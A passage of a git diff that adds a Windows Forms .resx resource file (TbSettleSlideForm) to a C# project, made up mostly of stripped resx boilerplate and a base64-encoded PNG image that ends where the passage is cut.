panelEx1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/TbSettleSlideForm.resx b/TEMUKJD/KJDForms/UploadForms/TbSettleSlideForm.resx new file mode 100644 index 0000000..9c37666 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/TbSettleSlideForm.resx @@ -0,0 +1,509 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 